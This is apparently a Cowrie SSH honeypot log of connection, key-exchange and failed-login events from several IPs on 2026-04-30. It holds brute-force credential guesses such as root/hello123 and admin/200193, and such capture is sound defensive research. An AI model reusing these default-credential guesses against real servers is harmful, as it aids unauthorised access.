{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:55.628234Z","src_ip":"192.109.200.78","session":"45eb621aa4ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hello123","message":"login attempt [root/hello123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:55.876729Z","src_ip":"192.109.200.78","session":"45eb621aa4ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:56.964694Z","src_ip":"192.109.200.78","session":"45eb621aa4ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40860,"dst_ip":"159.203.135.109","dst_port":22,"session":"51dea3f2ee46","protocol":"ssh","message":"New connection: 192.109.200.78:40860 (159.203.135.109:22) [session: 51dea3f2ee46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:59.490777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:59.494615Z","src_ip":"192.109.200.78","session":"51dea3f2ee46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:59.578071Z","src_ip":"192.109.200.78","session":"51dea3f2ee46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn","message":"login attempt [openvpn/openvpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:59.826083Z","src_ip":"192.109.200.78","session":"51dea3f2ee46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:01.206375Z","src_ip":"192.109.200.78","session":"51dea3f2ee46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40874,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0d518340619","protocol":"ssh","message":"New connection: 192.109.200.78:40874 (159.203.135.109:22) [session: e0d518340619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:03.837697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:03.851863Z","src_ip":"192.109.200.78","session":"e0d518340619","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:03.939886Z","src_ip":"192.109.200.78","session":"e0d518340619","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.62.66","src_port":62378,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a8938717023","protocol":"ssh","message":"New connection: 177.54.62.66:62378 (10.17.0.5:22) [session: 1a8938717023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:03.977777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:03.983627Z","src_ip":"177.54.62.66","session":"1a8938717023","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:04.120555Z","src_ip":"177.54.62.66","session":"1a8938717023","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:04.194382Z","src_ip":"192.109.200.78","session":"e0d518340619","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"Password1","message":"login attempt [testuser/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:04.696392Z","src_ip":"177.54.62.66","session":"1a8938717023","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:05.281610Z","src_ip":"192.109.200.78","session":"e0d518340619","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:05.837736Z","src_ip":"177.54.62.66","session":"1a8938717023","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40884,"dst_ip":"159.203.135.109","dst_port":22,"session":"156d2e9d5eb4","protocol":"ssh","message":"New connection: 192.109.200.78:40884 (159.203.135.109:22) [session: 156d2e9d5eb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:07.915989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:07.921035Z","src_ip":"192.109.200.78","session":"156d2e9d5eb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:08.008315Z","src_ip":"192.109.200.78","session":"156d2e9d5eb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"123456","message":"login attempt [webuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:08.258826Z","src_ip":"192.109.200.78","session":"156d2e9d5eb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:09.345075Z","src_ip":"192.109.200.78","session":"156d2e9d5eb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53048,"dst_ip":"159.203.135.109","dst_port":22,"session":"69c6b473981b","protocol":"ssh","message":"New connection: 192.109.200.78:53048 (159.203.135.109:22) [session: 69c6b473981b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:12.023865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:12.028996Z","src_ip":"192.109.200.78","session":"69c6b473981b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:12.112824Z","src_ip":"192.109.200.78","session":"69c6b473981b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:12.364017Z","src_ip":"192.109.200.78","session":"69c6b473981b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:13.449895Z","src_ip":"192.109.200.78","session":"69c6b473981b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.37.88","src_port":35702,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3a9d6df0957","protocol":"ssh","message":"New connection: 170.79.37.88:35702 (159.203.135.109:22) [session: c3a9d6df0957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:14.478203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:14.482928Z","src_ip":"170.79.37.88","session":"c3a9d6df0957","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:14.591866Z","src_ip":"170.79.37.88","session":"c3a9d6df0957","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qazxsw","message":"login attempt [ubuntu/qazxsw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:15.027915Z","src_ip":"170.79.37.88","session":"c3a9d6df0957","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:16.132602Z","src_ip":"170.79.37.88","session":"c3a9d6df0957","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":13898,"dst_ip":"159.203.135.109","dst_port":22,"session":"09cd1b2b4505","protocol":"ssh","message":"New connection: 2.57.121.112:13898 (159.203.135.109:22) [session: 09cd1b2b4505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:16.897941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:16.903173Z","src_ip":"2.57.121.112","session":"09cd1b2b4505","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:17.004857Z","src_ip":"2.57.121.112","session":"09cd1b2b4505","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53060,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb75a6b27746","protocol":"ssh","message":"New connection: 192.109.200.78:53060 (159.203.135.109:22) [session: eb75a6b27746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:17.039382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:17.044443Z","src_ip":"192.109.200.78","session":"eb75a6b27746","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"200193","message":"login attempt [admin/200193] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:17.485992Z","src_ip":"2.57.121.112","session":"09cd1b2b4505","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:17.511731Z","src_ip":"192.109.200.78","session":"eb75a6b27746","protocol":"ssh"}
